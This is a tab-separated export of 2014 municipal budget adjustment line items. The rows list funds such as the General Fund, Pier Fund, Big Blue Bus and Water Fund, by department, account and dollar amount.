7653	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533110.0	SPECIAL EQUIPMENT-OPER SUPS	808.0	 Supplies and Expenses	2014	99332.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	99332.0
7654	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	1200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1200.0
7655	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	380.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	380.0
7656	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511490.0	OVERTIME	808.0	Salaries and Wages	2014	86338.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	86338.0
7657	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	1107.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1107.0
7658	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-7133.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7133.0
7659	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	38253.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38253.0
7660	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	5214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5214.0
7661	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2014	276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	276.0
7662	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	5270.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5270.0
7663	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2014	504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	504.0
7664	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	408230.0	MIDTOWN PARKING LOTS	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7665	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561147.0	ST. JOE HPSHP - HUD	810.0	 Supplies and Expenses	2014	21672.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21672.0
7666	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	408250.0	AHPP COMP MONITOR-STARTUP FEE	622.0	Other	2014	-20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-20000.0
7667	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	3476.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3476.0
7668	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	4518.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4518.0
7669	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	577300.0	PIER RESTORATION CORPORATION		 Supplies and Expenses	2014	494257.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	494257.0
7670	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	578420.0	POLICE PIER PATROL		 Supplies and Expenses	2014	405251.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	405251.0
7671	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	3302.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3302.0
7672	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
7673	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408210.0	BIKE TECHNO DEMO-MTA	610.0	Intergovernmental	2014	-10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10000.0
7674	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2014	-88203.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-88203.0
7675	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2014	-32799.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-32799.0
7676	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1796.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1796.0
7677	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	26266.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26266.0
7678	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY HALL	808.0	 Supplies and Expenses	2014	167550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	167550.0
7679	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-CITY HALL	808.0	 Supplies and Expenses	2014	50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50000.0
7680	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	25110.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25110.0
7681	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	6150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6150.0
7682	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	31271.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31271.0
7683	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	196000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	196000.0
7684	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555951.0	FAC MAINT-KEC	808.0	 Supplies and Expenses	2014	27675.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27675.0
7685	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	566100.0	STREET LIGHT / POLE REPAIR	808.0	 Supplies and Expenses	2014	11000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11000.0
7686	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	48590.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48590.0
7687	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511748.0	DENTAL	808.0	Salaries and Wages	2014	24225.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24225.0
7688	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EAP	808.0	Salaries and Wages	2014	2915.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2915.0
7689	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7690	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2014	119417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	119417.0
7691	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	12625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12625.0
7692	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
7693	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
7694	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	3436.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3436.0
7695	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	407240.0	TRANS MGMT BLDG PLAN CHECK	612.0	Charges for Service	2014	-129353.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-129353.0
7696	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7697	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7698	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7699	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7700	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7701	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-3829.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3829.0
7702	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-11084.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11084.0
7703	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-36758.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-36758.0
7704	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-10294.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10294.0
7705	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-9598.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9598.0
7706	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIBUTION	806.0	Salaries and Wages	2014	-32009.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-32009.0
7707	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2014	-9364.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9364.0
7708	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	3447.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3447.0
7709	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	1532.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1532.0
7710	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7711	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	68813.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	68813.0
7712	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1812.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1812.0
7713	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2014	4833.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4833.0
7714	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511250.0	STANDBY PAY	808.0	Salaries and Wages	2014	23467.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23467.0
7715	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	23278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23278.0
7716	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407201.0	ROSIE'S GIRLS DONATIONS	622.0	Other	2014	-1200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1200.0
7717	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	408420.0	SM TOURISM MKT DIST-ADMIN FEE	622.0	Other	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7718	BA	IS	4	Special Revenue Source Fund	300	POLICE	302	ANIMAL CONTROL UNIT	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	21456.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	21456.0
7719	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	16210.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16210.0
7720	BA	IS	4	Special Revenue Source Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	404050.0	ENERGY EFFICIENCY REBATES	622.0	Other	2014	-25871.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25871.0
7721	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	122400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	122400.0
7722	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	328983.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	328983.0
7723	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400613.0	NEWSRACK PERMITS	612.0	Charges for Service	2014	-25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25000.0
7724	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	11823.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11823.0
7725	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	72.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72.0
7726	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544112.0	SIGNAGE		 Supplies and Expenses	2014	136376.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	136376.0
7727	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2014	605.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	605.0
7728	BA	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577351.0	HOME VOUCHERS	816.0	 Supplies and Expenses	2014	560273.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	560273.0
7729	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	403660.0	LIBRARY NON-RESIDENT FEE	612.0	Charges for Service	2014	-235000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-235000.0
7730	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402162.0	FILMING RECEIPTS	612.0	Charges for Service	2014	-36000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-36000.0
7731	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555011.0	CONT SERV/PLANT REPLACE/MIS SE	810.0	 Supplies and Expenses	2014	30000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30000.0
7732	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566190.0	EMPLOYEE EVENTS TEAM	804.0	 Supplies and Expenses	2014	31519.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31519.0
7733	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	804.0	Salaries and Wages	2014	314.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	314.0
7734	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER OUT TO HOUSING FUND	910.0	 Supplies and Expenses	2014	265790.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	265790.0
7735	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561116.0	OPCC INTERIM HSG&WELLNS-PROP A	808.0	 Supplies and Expenses	2014	8350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8350.0
7736	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2014	323.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	323.0
7737	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2014	43654.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43654.0
7738	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
7739	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	403110.0	TDA ARTICLE III	610.0	Intergovernmental	2014	-49000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-49000.0
7740	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	50717.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50717.0
7741	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	7925.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7925.0
7742	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-11187.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11187.0
7743	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	28000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28000.0
7744	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	2280.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2280.0
7745	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	344554.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	344554.0
7746	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2014	31000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31000.0
7747	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	676826.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	676826.0
7748	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2014	3144.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3144.0
7749	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-OPEN SP	612.0	Charges for Service	2014	-78409.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-78409.0
7750	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	2657047.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2657047.0
7751	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	41194.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41194.0
7752	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409073.0	ROSIE'S GIRLS-SUMMER II	612.0	Charges for Service	2014	-17991.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-17991.0
7753	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400610.0	USE OF PUBLIC PROPERTY PERMITS	612.0	Charges for Service	2014	-488071.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-488071.0
7754	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2014	-150000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-150000.0
7755	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401810.0	ENCROACHMENT REVENUE	622.0	Other	2014	-3888.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3888.0
7756	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	4300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4300.0
7757	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	440.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	440.0
7758	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
7759	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	106121.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	106121.0
7760	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	20910.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20910.0
7761	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2014	122400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	122400.0
7762	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544011.0	CHEMICALS	808.0	 Supplies and Expenses	2014	924906.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	924906.0
7763	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555013.0	OUTSIDE REPAIRS - SHOP EQUIP		 Supplies and Expenses	2014	67855.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	67855.0
7764	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555015.0	OUTSIDE REPAIRS - BLDG MAINT		 Supplies and Expenses	2014	361123.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	361123.0
7765	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2014	615.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	615.0
7766	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562701.0	OLDER YOUTH SET-ASIDE		 Supplies and Expenses	2014	318372.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	318372.0
7767	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-504300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-504300.0
7768	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	296844.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	296844.0
7769	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511748.0	DENTAL	808.0	Salaries and Wages	2014	8334.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8334.0
7770	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	588090.0	FURNITURE & FURNISHINGS	810.0	 Supplies and Expenses	2014	49694.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49694.0
7771	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	8359.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8359.0
7772	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	863.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	863.0
7773	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	2940.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2940.0
